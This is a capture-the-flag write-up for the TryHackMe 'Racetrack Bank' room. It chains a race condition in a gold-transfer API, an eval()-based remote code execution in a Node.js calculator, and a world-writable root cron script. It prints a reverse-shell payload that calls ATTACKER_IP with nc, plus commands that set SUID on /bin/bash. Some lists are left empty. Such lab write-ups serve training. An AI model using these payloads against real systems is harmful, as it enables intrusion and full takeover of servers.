Difficulty: Hard
Category: Web Exploitation, Race Conditions, Privilege Escalation
Platform: TryHackMe
Racetrack Bank is a banking-themed web application vulnerable to race conditions. The attack chain involves:
nmap -p- 10.49.162.62
Standard web setup: SSH (22) and HTTP (80) exposed.
After registering and logging in, the application features:
Key observations:
This setup screamed business logic vulnerability.
Created two accounts for the attack:
First, I transferred gold normally:
Balances:
Important discovery: If an account has 0 gold, the race condition fails - the server immediately returns "not enough gold" before the race window.
Transferred gold back:
Now both accounts have 1 gold - ready for the race.
From account AB, I:
POST /api/givegold
user=aa&amount=1

Because all requests:
gold >= amount check simultaneouslyResult: Gold duplication!
AB still had gold, and AA received significantly more than expected.
With elevated gold in AA, I transferred more back:
Then repeated the race with larger amounts:

This allowed exponential gold increase - classic TOCTOU (Time-of-Check to Time-of-Use) vulnerability.
With inflated gold balance, I purchased premium features:
POST /api/buypremium
Access granted to /premiumfeatures.html:

The premium calculator accepts mathematical expressions and evaluates them server-side.
The premium calculator at /api/calculate accepts input like:
1+1
Returns:
The answer is 2
This immediately suggested dangerous eval() of user input.
After reviewing requests in Burp, the backend was Node.js - confirmed by response headers.
Using Burp, I sent the following payload:

POST /api/calculate
calculation=require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 6666 >/tmp/f')
The response returned:
The answer is [object Object]
This looked like a failure, but shortly after - reverse shell received!

With the reverse shell, I obtained user-level access and retrieved the user flag.
Standard checks revealed nothing:
sudo -l # No sudo
find / -perm -4000 2>/dev/null # No useful SUID
crontab -l # No user crons
After deeper enumeration, I found a cron job running:
/home/brian/cleanup/cleanupscript.sh
This script executed every minute by cron as root.
Checking permissions:
ls -la /home/brian/cleanup/cleanupscript.sh
The script was world-writable (777) - any user could modify it.
Backed up and replaced the script:
mv cleanupscript.sh cleanupscript.sh.backup
echo 'chmod u+s /bin/bash' > cleanupscript.sh
chmod +x cleanupscript.sh
This payload sets the SUID bit on /bin/bash.
After one minute, checked permissions:
ls -la /bin/bash
SUID bit was set!
/bin/bash -p

Root access achieved!
With root access, retrieved the final flag and completed the room.
| Step | Technique | Result |
|---|---|---|
| 1 | Race Condition (TOCTOU) | Duplicated gold currency |
| 2 | Premium Purchase | Gained access to premium features |
| 3 | Node.js eval() RCE | Reverse shell as web user |
| 4 | Cron Job Abuse | SUID bash → root shell |